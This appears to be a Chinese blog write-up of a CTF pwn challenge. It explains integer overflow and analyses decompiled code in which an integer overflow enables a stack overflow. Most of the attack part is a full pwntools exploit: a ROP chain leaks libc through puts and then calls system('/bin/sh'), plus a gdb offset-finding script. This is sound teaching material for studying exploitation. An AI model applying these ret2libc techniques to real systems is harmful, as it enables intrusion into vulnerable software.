简单的整数溢出

首先说一下原理

为什么会出现整数溢出?

因为机器底层只能处理01串,也就是说底层本身是无法识别有符号数和无符号数的,这些规定是存在于编辑器层面,在C语言中,整数的基本类型有以下几种(图片来源:CTF Wiki

在这里插入图片描述

溢出又分上溢出和下溢出

上溢出:

当出现0x7fff+1,或者0xffff+1的时候,假设0x7fff是无符号数,那么+1之后就是0

下溢出:

例如0x0000-1 -> 0xffff

总的来说,利用技巧就是利用代码里有符号和无符号数之间的转换问题,恶意将某个关键数值改的超大或者很小

正式做题

这个题本身应该不难,但是这个代码看着太恶心了,没有完全理解清楚

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *v3; // rsp@1
  void *v4; // rsp@3
  int v6; // [sp+Ch] [bp-24h]@1
  void *dest; // [sp+10h] [bp-20h]@3
  int v8; // [sp+1Ch] [bp-14h]@3
  _DWORD *v9; // [sp+20h] [bp-10h]@1 4字节类型
  void *buf; // [sp+28h] [bp-8h]@1

  v6 = argc;
  init_stdio();
  puts("welcome.....");
  v3 = alloca(32LL);
  buf = (void *)(16 * (((unsigned __int64)&v6 + 3) >> 4));
  read(0, (void *)(16 * (((unsigned __int64)&v6 + 3) >> 4)), 0xCuLL);
  v9 = buf;
  if ( *(_DWORD *)buf != 1852402515 || v9[1] != 1 )
  {
    puts("some thing wrong");
  }
  else
  {
    v8 = v9[2] + 32;
    v4 = alloca(16 * (((unsigned __int64)(unsigned int)v8 + 30) / 0x10));// 整数溢出
    dest = (void *)(16 * (((unsigned __int64)&v6 + 3) >> 4));
    memcpy((void *)(16 * (((unsigned __int64)&v6 + 3) >> 4)), buf, 0xCuLL);
    read(0, (char *)dest + 12, v9[2]);          // 栈溢出
    handle_data();
  }
  return 0;
}

问题就出在else里面,v8是int型,但是这个地方却被作为无符号数处理,在机器里,底层是不会区分有符号数和无符号数,有符号和无符号是在编译层面才区分的,所以这个地方就可以进行一下整数溢出,修改能传入的数据大小限制,然后再利用栈溢出,获得shell

  else
  {
    v8 = v9[2] + 32;
    v4 = alloca(16 * (((unsigned __int64)(unsigned int)v8 + 30) / 0x10));// 整数溢出
    dest = (void *)(16 * (((unsigned __int64)&v6 + 3) >> 4));
    memcpy((void *)(16 * (((unsigned __int64)&v6 + 3) >> 4)), buf, 0xCuLL);
    read(0, (char *)dest + 12, v9[2]);          // 栈溢出
    handle_data();
  }

exp:

使用p32的是因为,最初输入的地方,是buf,buf和v9是一个类型,都是dword,所以要用p32

from pwn import *

# context.log_level = 'debug'

p = process('./pwn')
r = ROP('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

pop_rdi = r.find_gadget(['pop rdi','ret']).address

info("pop_rdi_ret: {}".format(hex(pop_rdi)))

p.recvuntil('welcome.....')

payload1 = p32(0x6e696b53)
payload1 += p32(0x1)
payload1 += p32(0xffffffff)
p.send(payload1)

# p.send('a'*200)

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

payload2 = cyclic(124)
payload2 += p64(pop_rdi)
payload2 += p64(puts_got)
payload2 += p64(puts_plt)
payload2 += p64(elf.entry) 
p.send(payload2)

p.recvline()

puts_addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = puts_addr - libc.symbols['puts']
info("libc_base: {}".format(hex(libc_base)))

system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()

payload3 = p32(0x6e696b53)
payload3 += p32(0x1)
payload3 += p32(0xffffffff)
p.send(payload3)

payload4 = cyclic(124)
payload4 += p64(pop_rdi)
payload4 += p64(binsh_addr)
payload4 += p64(system_addr)
payload4 += p64(elf.entry)
p.send(payload4)

# gdb.attach(p)

p.interactive()

如果不知道cyclic(124)中的124是咋来的,继续往下看:

首先说明,attach后面那个send()里的字符串是使用pattern create生成的,执行下面这个脚本,然后按下’c’,即可正常寻找栈溢出偏移

from pwn import *

# context.log_level = 'debug'

p = process('./pwn')
r = ROP('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

pop_rdi = r.find_gadget(['pop rdi','ret']).address

info("pop_rdi_ret: {}".format(hex(pop_rdi)))

p.recvuntil('welcome.....')

payload1 = p32(0x6e696b53)
payload1 += p32(0x1)
payload1 += p32(0xffffffff)
p.send(payload1)

gdb.attach(p)
p.send('aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaa')

p.interactive()
  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值